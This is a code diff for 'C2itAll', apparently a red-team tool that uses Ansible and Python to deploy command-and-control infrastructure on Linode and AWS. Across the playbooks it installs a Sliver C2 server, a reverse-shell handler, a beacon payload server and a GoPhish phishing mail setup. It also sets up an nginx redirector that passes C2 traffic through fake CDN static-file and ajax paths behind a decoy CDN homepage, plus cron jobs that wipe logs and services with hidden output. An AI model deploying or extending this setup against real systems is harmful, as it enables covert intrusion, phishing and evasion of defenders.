Should deploy correctly

deploy.py

@@ -87,6 +87,8 @@ def parse_arguments():
     parser.add_argument('--region', help='Generic region parameter')
     parser.add_argument('--redirector-name', help='Name for the redirector instance (default: random)')
     parser.add_argument('--c2-name', help='Name for the C2 instance (default: random)')
+    parser.add_argument('--redirector-subdomain', default='cdn', help='Subdomain for the redirector (default: cdn)')
+    parser.add_argument('--c2-subdomain', default='mail', help='Subdomain for the C2 server (default: mail)')
     
     # Common arguments
     parser.add_argument('--teardown', action='store_true', help='Tear down existing infrastructure')
@@ -301,6 +303,13 @@ def interactive_setup():
     default_domain = vars_data.get('domain', 'example.com')
     config['domain'] = input(f"\nDomain name [default: {default_domain}]: ") or default_domain
 
+    # Subdomain configuration - new feature
+    default_redirector_subdomain = vars_data.get('redirector_subdomain', 'cdn')
+    config['redirector_subdomain'] = input(f"Redirector subdomain [default: {default_redirector_subdomain}]: ") or default_redirector_subdomain
+    
+    default_c2_subdomain = vars_data.get('c2_subdomain', 'mail')
+    config['c2_subdomain'] = input(f"C2 server subdomain [default: {default_c2_subdomain}]: ") or default_c2_subdomain
+
     # Always use the most up-to-date domain for the email default
     default_email = vars_data.get('letsencrypt_email')
     if not default_email or "example.com" in default_email:
@@ -1227,6 +1236,10 @@ C2itAll - Red Team Infrastructure Setup
         for key, value in vars_data.items():
             config[key] = value
         
+        # Subdomain settings - ensure these are explicitly set
+        config['redirector_subdomain'] = args.redirector_subdomain or 'cdn'
+        config['c2_subdomain'] = args.c2_subdomain or 'mail'
+        
         # AWS settings
         if args.provider == "aws":
             config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key')

old_playbooks/c2-deploy.yaml

@@ -1,213 +0,0 @@
----
-# Linode C2 Deployment Playbook
-# This playbook handles both redirector and C2 deployment for Linode
-
-- name: Create and configure Linode infrastructure
-  hosts: localhost
-  gather_facts: false
-  connection: local
-  vars_files:
-    - vars.yaml
-  vars:
-    # Default values for required variables
-    ssh_user: "{{ ssh_user | default('root') }}"
-    linode_region: "{{ linode_region | default(region_choices | random) }}"
-    plan: "{{ plan | default('g6-standard-1') }}"
-    image: "{{ image | default('linode/debian11') }}"
-    
-    # Deployment mode flags
-    redirector_only: "{{ redirector_only | default(false) }}"
-    c2_only: "{{ c2_only | default(false) }}"
-    
-    # Generate random instance names if not provided
-    redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
-    c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
-    
-    # Generate random shell handler port if not provided
-    shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
-
-  tasks:
-    - name: Validate required Linode token
-      assert:
-        that:
-          - linode_token is defined and linode_token != ""
-        fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
-    
-    - name: Set the target instances to deploy based on configuration
-      set_fact:
-        deploy_redirector: "{{ not c2_only }}"
-        deploy_c2: "{{ not redirector_only }}"
-    
-    # REDIRECTOR DEPLOYMENT
-    - name: Deploy redirector Linode instance
-      when: deploy_redirector
-      block:
-        - name: Create redirector Linode instance
-          community.general.linode_v4:
-            access_token: "{{ linode_token }}"
-            label: "{{ redirector_name }}"
-            type: "{{ plan }}"
-            region: "{{ linode_region }}"
-            image: "{{ image }}"
-            root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
-            authorized_keys:
-              - "{{ lookup('file', ssh_key_path) }}"
-            state: present
-          register: redirector_instance
-
-        - name: Set redirector_ip for later use
-          set_fact:
-            redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}"
-            redirector_instance_id: "{{ redirector_instance.instance.id }}"
-
-        - name: Enhanced wait for SSH with retry mechanism
-          block:
-            - name: Initial wait for instance to become reachable
-              wait_for:
-                host: "{{ linode_instance.instance.ipv4[0] }}"
-                port: 22
-                delay: 60  # Increased initial delay
-                timeout: 180
-                state: started
-              register: initial_wait
-            
-            - name: Additional pause to ensure SSH is fully initialized
-              pause: 
-                seconds: 120
-              when: initial_wait is succeeded
-
-        - name: Add redirector to inventory
-          add_host:
-            name: "redirector"
-            groups: "redirectors"
-            ansible_host: "{{ redirector_ip }}"
-            ansible_user: "{{ ssh_user }}"
-            ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
-            ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
-
-    # C2 SERVER DEPLOYMENT
-    - name: Deploy C2 Linode instance
-      when: deploy_c2
-      block:
-        - name: Create C2 Linode instance
-          community.general.linode_v4:
-            access_token: "{{ linode_token }}"
-            label: "{{ c2_name }}"
-            type: "{{ plan }}"
-            region: "{{ linode_region }}"
-            image: "{{ image }}"
-            root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
-            authorized_keys:
-              - "{{ lookup('file', ssh_key_path) }}"
-            state: present
-          register: c2_instance
-
-        - name: Set c2_ip for later use
-          set_fact:
-            c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
-            c2_instance_id: "{{ c2_instance.instance.id }}"
-
-        - name: Wait for C2 SSH to be available
-          wait_for:
-            host: "{{ c2_ip }}"
-            port: 22
-            delay: 30
-            timeout: 300
-            state: started
-
-        - name: Add C2 to inventory
-          add_host:
-            name: "c2"
-            groups: "c2servers"
-            ansible_host: "{{ c2_ip }}"
-            ansible_user: "{{ ssh_user }}"
-            ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
-            ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
-
-- name: Configure redirector server
-  hosts: redirectors
-  become: true
-  gather_facts: true
-  vars_files:
-    - vars.yaml
-  vars:
-    c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}"
-    redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
-  tasks:
-    - name: Wait for apt to be available
-      apt:
-        update_cache: yes
-      register: apt_result
-      until: apt_result is success
-      retries: 5
-      delay: 10
-    
-    - name: Disable root password authentication for SSH immediately
-      lineinfile:
-        path: /etc/ssh/sshd_config
-        regexp: '^#?PasswordAuthentication'
-        line: 'PasswordAuthentication no'
-        state: present
-      
-    - name: Restart SSH service to apply changes
-      service:
-        name: ssh
-        state: restarted
-      
-    - name: Include common redirector configuration tasks
-      include_tasks: "../tasks/configure_redirector.yml"
-
-- name: Configure C2 server
-  hosts: c2servers
-  become: true
-  gather_facts: true
-  vars_files:
-    - vars.yaml
-  vars:
-    redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}"
-    c2_subdomain: "{{ c2_subdomain | default('mail') }}"
-  tasks:
-    - name: Wait for apt to be available
-      apt:
-        update_cache: yes
-      register: apt_result
-      until: apt_result is success
-      retries: 5
-      delay: 10
-    
-    - name: Disable root password authentication for SSH immediately
-      lineinfile:
-        path: /etc/ssh/sshd_config
-        regexp: '^#?PasswordAuthentication'
-        line: 'PasswordAuthentication no'
-        state: present
-      
-    - name: Restart SSH service to apply changes
-      service:
-        name: ssh
-        state: restarted
-
-    - name: Include common tool installation tasks
-      include_tasks: "../tasks/install_tools.yml"
-      
-    - name: Include common C2 configuration tasks
-      include_tasks: "../tasks/configure_c2.yml"
-      
-    - name: Include common security hardening tasks
-      include_tasks: "../tasks/security_hardening.yml"
-      
-    - name: Include common mail server configuration tasks
-      include_tasks: "../tasks/configure_mail.yml"
-      
-    - name: Print deployment summary
-      debug:
-        msg:
-          - "C2 Infrastructure Deployment Complete!"
-          - "--------------------------------------"
-          - "Redirector IP: {{ hostvars['localhost']['redirector_ip'] | default('Not deployed') }}"
-          - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }}"
-          - "C2 Server IP: {{ ansible_host }}"
-          - "C2 Server Domain: {{ c2_subdomain }}.{{ domain }}"
-          - "GoPhish Admin Port: {{ gophish_admin_port }}"
-          - "Shell Handler Port: {{ shell_handler_port }}"
-      when: not disable_summary | default(false)

old_playbooks/c2-vars-template.yaml

@@ -1,40 +0,0 @@
-linode_token: "TOKEN"
-region_choices:
-  - ap-west
-  - ca-central
-  - ap-southeast
-  - us-iad
-  - us-ord
-  - fr-par
-  - us-sea
-  - br-gru
-  - nl-ams
-  - se-sto
-  - es-mad
-  - in-maa
-  - jp-osa
-  - it-mil
-  - us-mia
-  - id-cgk
-  - us-lax
-  - gb-lon
-  - au-mel
-  - in-bom-2
-  - de-fra-2
-  - sg-sin-2
-  - us-central
-  - us-west
-  - us-southeast
-  - us-east
-  - eu-west
-  - ap-south
-  - eu-central
-  - ap-northeast
-plan: "g6-standard-2"
-image: "linode/kali"
-domain: "example.com"
-mail_hostname: "mail.example.com"
-letsencrypt_email: "admin@example.com"
-smtp_auth_user: "phishuser"
-smtp_auth_pass: "SuperSecretPass123!"
-gophish_admin_port: "2222"

old_playbooks/configure-c2.yml

@@ -1,136 +0,0 @@
----
-# Common task for configuring C2 server
-# Shared across all providers
-
-- name: Update apt cache
-  apt:
-    update_cache: yes
-
-- name: Set a custom MOTD
-  template:
-    src: "../templates/motd.j2"
-    dest: /etc/motd
-    owner: root
-    group: root
-    mode: '0644'
-
-- name: Install base utilities and tools via apt
-  apt:
-    name:
-      - git
-      - wget
-      - curl
-      - unzip
-      - python3-pip
-      - python3-venv
-      - tmux
-      - pipx
-      - nmap
-      - tcpdump
-      - hydra
-      - john
-      - hashcat
-      - sqlmap
-      - gobuster
-      - dirb
-      - enum4linux
-      - dnsenum
-      - seclists
-      - responder
-      - golang
-      - proxychains
-      - tor
-      - crackmapexec
-      - jq
-      - unzip
-      - postfix
-      - certbot
-      - opendkim
-      - opendkim-tools
-      - dovecot-core
-      - dovecot-imapd
-      - dovecot-pop3d
-      - dovecot-sieve
-      - dovecot-managesieved
-      - yq
-    state: present
-
-- name: Copy operational scripts
-  copy:
-    src: "{{ item }}"
-    dest: "/opt/c2/{{ item }}"
-    mode: '0700'
-    owner: root
-    group: root
-  with_items:
-    - clean-logs.sh
-    - secure-exit.sh
-    - serve-beacons.sh
-
-- name: Create operational directories
-  file:
-    path: "{{ item }}"
-    state: directory
-    mode: '0700'
-    owner: root
-    group: root
-  with_items:
-    - /opt/c2
-    - /opt/beacons
-    - /opt/payloads
-
-- name: Create Sliver service file
-  copy:
-    content: |
-      [Unit]
-      Description=Sliver C2 Server
-      After=network.target
-      
-      [Service]
-      Type=simple
-      User=root
-      Group=root
-      WorkingDirectory=/root/.sliver
-      ExecStart=/usr/local/bin/sliver-server daemon
-      Restart=always
-      RestartSec=10
-      
-      # Security measures
-      PrivateTmp=true
-      ProtectHome=false
-      NoNewPrivileges=true
-      
-      # Hide process information
-      StandardOutput=null
-      StandardError=null
-      
-      [Install]
-      WantedBy=multi-user.target
-    dest: /etc/systemd/system/sliver.service
-    mode: '0644'
-    owner: root
-    group: root
-
-- name: Set up cron job for log cleaning if zero-logs enabled
-  cron:
-    name: "Clean logs"
-    minute: "0"
-    hour: "*/6"
-    job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
-  when: zero_logs | bool
-
-- name: Install Let's Encrypt certificate if domain specified
-  shell: |
-    certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
-  args:
-    creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
-  when: domain != "example.com"
-
-- name: Configure and start beacon server
-  shell: |
-    sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh
-    chmod +x /opt/c2/serve-beacons.sh
-    # Check if beacon server is already running
-    if ! pgrep -f "/opt/c2/serve-beacons.sh" > /dev/null; then
-      nohup /opt/c2/serve-beacons.sh > /dev/null 2>&1 &
-    fi

old_playbooks/configure-redirector.yml

@@ -1,218 +0,0 @@
----
-# Linode/configure-redirector.yml
-# This playbook handles only the configuration of an already-created redirector
-
-- name: Configure Linode redirector
-  hosts: redirector
-  gather_facts: false
-  become: true
-  vars_files:
-    - vars.yaml
-  vars:
-    # Default values if not provided
-    shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
-    domain: "{{ domain | default('example.com') }}"
-    redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
-    
-  tasks:
-    # Retry logic for SSH connection
-    - name: Wait for SSH connection to stabilize
-      wait_for_connection:
-        delay: 10
-        timeout: 300
-      register: wait_result
-      ignore_errors: true
-      retries: 5
-      delay: 30
-      until: wait_result is success
-      
-    - name: Gather facts after ensuring SSH connection
-      setup:
-      register: setup_result
-      ignore_errors: true
-      retries: 5
-      delay: 30
-      until: setup_result is success
-      
-    - name: Wait for apt lock to be released
-      shell: |
-        while lsof /var/lib/dpkg/lock-frontend >/dev/null 2>&1; do
-          echo "waiting for apt lock to be released..."
-          sleep 5
-        done
-      changed_when: false
-      
-    - name: Disable root password authentication for SSH immediately
-      lineinfile:
-        path: /etc/ssh/sshd_config
-        regexp: '^#?PasswordAuthentication'
-        line: 'PasswordAuthentication no'
-        state: present
-      register: ssh_config_result
-      ignore_errors: true
-      retries: 3
-      delay: 10
-      until: ssh_config_result is success
-      
-    - name: Restart SSH service to apply changes
-      service:
-        name: ssh
-        state: restarted
-      register: ssh_restart_result
-      ignore_errors: true
-      retries: 3
-      delay: 10
-      until: ssh_restart_result is success
-      
-    - name: Update apt cache
-      apt:
-        update_cache: yes
-      register: apt_update_result
-      ignore_errors: true
-      retries: 5
-      delay: 10
-      until: apt_update_result is success
-        
-    - name: Install nginx and other required packages
-      apt:
-        name:
-          - nginx
-          - certbot
-          - python3-certbot-nginx
-          - socat
-          - netcat-openbsd
-          - secure-delete
-        state: present
-      register: apt_install_result
-      ignore_errors: true
-      retries: 3
-      delay: 10
-      until: apt_install_result is success
-        
-    - name: Create directories for operational scripts
-      file:
-        path: "{{ item }}"
-        state: directory
-        mode: '0700'
-        owner: root
-        group: root
-      with_items:
-        - /opt/c2
-        - /opt/shell-handler
-        
-    - name: Copy clean-logs.sh script
-      copy:
-        src: "../files/clean-logs.sh"  # Fix the path to point to root files directory
-        dest: /opt/c2/clean-logs.sh
-        mode: '0700'
-        owner: root
-        group: root
-        
-    - name: Copy shell handler script
-      copy:
-        src: "../files/persistent-listener.sh"  # Use relative path with ../ prefix
-        dest: /opt/shell-handler/persistent-listener.sh
-        mode: '0700'
-        owner: root
-        group: root
-        
-    - name: Configure shell handler script with C2 IP
-      replace:
-        path: /opt/shell-handler/persistent-listener.sh
-        regexp: 'C2_HOST="127.0.0.1"'
-        replace: 'C2_HOST="{{ c2_ip | default("127.0.0.1") }}"'
-        
-    - name: Configure shell handler script with listening port
-      replace:
-        path: /opt/shell-handler/persistent-listener.sh
-        regexp: 'LISTEN_PORT=4444'
-        replace: 'LISTEN_PORT={{ shell_handler_port }}'
-        
-    - name: Create shell handler service
-      template:
-        src: "../FlokiNET/templates/shell-handler.service.j2"
-        dest: /etc/systemd/system/shell-handler.service
-        mode: '0644'
-        owner: root
-        group: root
-      vars:
-        c2_ip: "{{ c2_ip | default('127.0.0.1') }}"
-        shell_handler_port: "{{ shell_handler_port }}"
-        
-    - name: Configure NGINX for zero-logging
-      template:
-        src: "../FlokiNET/templates/nginx.conf.j2"
-        dest: /etc/nginx/nginx.conf
-        mode: '0644'
-        owner: root
-        group: root
-      when: zero_logs | default(true) | bool
-        
-    - name: Configure NGINX for C2 redirection
-      template:
-        src: "../FlokiNET/templates/default-site.j2"
-        dest: /etc/nginx/sites-available/default
-        mode: '0644'
-        owner: root
-        group: root
-      vars:
-        domain: "{{ domain }}"
-        c2_host: "{{ c2_ip | default('127.0.0.1') }}"
-        
-    - name: Create legitimate-looking index.html
-      template:
-        src: "../FlokiNET/templates/index.html.j2"
-        dest: /var/www/html/index.html
-        mode: '0644'
-        owner: www-data
-        group: www-data
-      vars:
-        domain: "{{ domain }}"
-        redirector_subdomain: "{{ redirector_subdomain }}"
-        
-    - name: Start and enable shell handler service
-      systemd:
-        name: shell-handler
-        state: started
-        enabled: yes
-        daemon_reload: yes
-      register: shell_handler_result
-      ignore_errors: true
-      retries: 3
-      delay: 10
-      until: shell_handler_result is success
-        
-    - name: Set up cron job for log cleaning if zero-logs enabled
-      cron:
-        name: "Clean logs"
-        minute: "0"
-        hour: "*/6"
-        job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
-      when: zero_logs | default(true) | bool
-        
-    - name: Install Let's Encrypt certificate if domain specified
-      shell: |
-        certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email | default('admin@' + domain) }}
-      args:
-        creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
-      when: domain != "example.com"
-      ignore_errors: true
-        
-    - name: Restart NGINX
-      systemd:
-        name: nginx
-        state: restarted
-      register: nginx_restart_result
-      ignore_errors: true
-      retries: 3
-      delay: 10
-      until: nginx_restart_result is success
-      
-    - name: Print deployment summary
-      debug:
-        msg:
-          - "Redirector Configuration Complete!"
-          - "-------------------------------"
-          - "Redirector IP: {{ ansible_host }}"
-          - "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
-          - "Shell Handler Port: {{ shell_handler_port }}"

tasks/configure_c2.yml

@@ -95,13 +95,6 @@
     job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
   when: zero_logs | bool
 
-- name: Install Let's Encrypt certificate if domain specified
-  shell: |
-    certbot certonly --standalone -d {{ c2_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
-  args:
-    creates: /etc/letsencrypt/live/{{ c2_subdomain }}.{{ domain }}/fullchain.pem
-  when: domain != "example.com"
-
 - name: Configure and start beacon server
   shell: |
     sed -i "s/C2_HOST=.*/C2_HOST=\"{{ ansible_host }}\"/g" /opt/c2/serve-beacons.sh

tasks/configure_redirector.yml

@@ -70,36 +70,167 @@
     group: root
   when: zero_logs | bool
 
-- name: Set subdomain value explicitly
+# Configure nginx sites with default values - no certificate
-  set_fact:
+- name: Configure NGINX site with HTTP (no SSL)
-    redirector_subdomain: "{{ redirector_subdomain | default('cdn') }}"
+  copy:
+    content: |
+      server {
+          listen 80;
+          listen [::]:80;
+          server_name cdn.{{ domain }};
+          
+          root /var/www/html;
+          index index.html;
+          
+          # Primary location for legitimate website traffic
+          location / {
+              try_files $uri $uri/ =404;
+          }
+          
+          # Special URI patterns for C2 traffic
+          # These will redirect to the actual C2 server
+          location /ajax/ {
+              proxy_pass http://{{ c2_ip }}:8888;
+              proxy_http_version 1.1;
+              proxy_set_header Host $host;
+              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+              proxy_set_header X-Real-IP $remote_addr;
+              proxy_set_header Upgrade $http_upgrade;
+              proxy_set_header Connection "upgrade";
+          }
+          
+          # Static resources that actually redirect to C2
+          location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
+              proxy_pass http://{{ c2_ip }}:8888;
+              proxy_http_version 1.1;
+              proxy_set_header Host $host;
+              proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+              proxy_set_header X-Real-IP $remote_addr;
+          }
+          
+          # Additional security headers
+          add_header X-Content-Type-Options "nosniff" always;
+          add_header X-Frame-Options "SAMEORIGIN" always;
+          add_header X-XSS-Protection "1" mode=block;
+          add_header Referrer-Policy "no-referrer" always;
+      }
 
-- name: Configure NGINX for C2 redirection (standard)
+      # Catch-all server block to respond to unknown hosts
-  template:
+      server {
-    src: "../templates/redirector-site.conf.j2"
+          listen 80 default_server;
+          listen [::]:80 default_server;
+          
+          # Redirect all unknown traffic to a legitimate-looking site
+          return 301 https://www.google.com;
+          
+          # Disable logs
+          access_log off;
+          error_log /dev/null crit;
+      }
     dest: /etc/nginx/sites-available/default
     mode: '0644'
     owner: root
     group: root
-  when: not (setup_integrated_tracker | default(false) | bool)
-
-- name: Configure NGINX for C2 redirection with tracker support
-  template:
-    src: "../templates/redirector-site-with-tracker.conf.j2"
-    dest: /etc/nginx/sites-available/default
-    mode: '0644'
-    owner: root
-    group: root
-  when: setup_integrated_tracker | default(false) | bool
 
 - name: Create legitimate-looking index.html
-  template:
+  copy:
-    src: "../templates/redirector-index.html.j2"
+    content: |
+      <!DOCTYPE html>
+      <html lang="en">
+      <head>
+          <meta charset="UTF-8">
+          <meta name="viewport" content="width=device-width, initial-scale=1.0">
+          <title>CDN - Content Delivery Network</title>
+          <style>
+              body {
+                  font-family: Arial, sans-serif;
+                  margin: 0;
+                  padding: 0;
+                  background-color: #f4f4f4;
+                  color: #333;
+              }
+              header {
+                  background-color: #2c3e50;
+                  color: white;
+                  padding: 1em;
+                  text-align: center;
+              }
+              .container {
+                  width: 80%;
+                  margin: 0 auto;
+                  padding: 2em;
+              }
+              .card {
+                  background-color: white;
+                  border-radius: 5px;
+                  padding: 1.5em;
+                  margin-bottom: 1.5em;
+                  box-shadow: 0 2px 5px rgba(0,0,0,0.1);
+              }
+              footer {
+                  background-color: #2c3e50;
+                  color: white;
+                  text-align: center;
+                  padding: 1em;
+                  position: fixed;
+                  bottom: 0;
+                  width: 100%;
+              }
+          </style>
+      </head>
+      <body>
+          <header>
+              <h1>cdn.{{ domain }}</h1>
+              <p>Enterprise Content Delivery Network</p>
+          </header>
+          
+          <div class="container">
+              <div class="card">
+                  <h2>Welcome to Our CDN</h2>
+                  <p>This server is part of our global content delivery network.</p>
+              </div>
+          </div>
+          
+          <footer>
+              <p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
+          </footer>
+      </body>
+      </html>
     dest: /var/www/html/index.html
     mode: '0644'
     owner: www-data
     group: www-data
 
+- name: Create SSL certificate setup instructions
+  copy:
+    content: |
+      #!/bin/bash
+      # Let's Encrypt Certificate Setup Script
+      # Run this after setting up DNS records pointing to this server
+
+      # Replace these with your actual values if needed
+      DOMAIN="{{ domain }}"
+      SUBDOMAIN="cdn"
+      EMAIL="admin@${DOMAIN}"
+
+      echo "================================================"
+      echo "Let's Encrypt Certificate Setup"
+      echo "================================================"
+      echo
+      echo "Before running this script, make sure:"
+      echo "1. DNS records are set up correctly"
+      echo "   - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)"
+      echo "2. Port 80 is open to the internet"
+      echo
+      echo "Run the following command to get your certificate:"
+      echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
+      echo
+      echo "================================================"
+    dest: /opt/c2/setup-cert.sh
+    mode: '0700'
+    owner: root
+    group: root
+
 - name: Start and enable shell handler service
   systemd:
     name: shell-handler
@@ -113,34 +244,4 @@
     minute: "0"
     hour: "*/6"
     job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
-  when: zero_logs | bool
+  when: zero_logs | bool
-
-- name: Install Let's Encrypt certificate if domain specified
-  shell: |
-    certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
-  args:
-    creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
-  when: domain != "example.com"
-
-- name: Test NGINX configuration
-  command: nginx -t
-  register: nginx_config_test
-  ignore_errors: true
-
-- name: Debug NGINX configuration test results if failed
-  debug:
-    var: nginx_config_test.stderr_lines
-  when: nginx_config_test.rc != 0
-
-- name: Restart NGINX
-  systemd:
-    name: nginx
-    state: restarted
-  register: nginx_restart
-  ignore_errors: true
-
-- name: Verify NGINX is running
-  service:
-    name: nginx
-    state: started
-  when: nginx_restart is failed

templates/motd-aws.j2

@@ -47,9 +47,14 @@ Security Scripts in /opt/c2/:
 
 Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
 
-Once your DNS record points to this server's public IP, you can obtain a Let's Encrypt certificate by running:
+Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
 
-    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ c2_subdomain }}.{{ domain }}
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
+    systemctl start nginx.service
+
+Remember to ensure your DNS is set correctly before running the above command.
 
 **IMPORTANT:**  
 

templates/motd-linode.j2

@@ -35,8 +35,10 @@ Also, remember that many reconnaissance and attack tools are now available syste
 
 Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
 
-    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ mail_hostname }}
     sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
+    systemctl start nginx.service
 
 Remember to ensure your DNS is set correctly before running the above command.
 

templates/motd.j2

@@ -35,8 +35,10 @@ Also, remember that many reconnaissance and attack tools are now available syste
 
 Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
 
-    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ mail_hostname }}
     sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d mail.{{ domain }}
+    sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d tracker.{{ domain }}
+    systemctl start nginx.service
 
 Remember to ensure your DNS is set correctly before running the above command.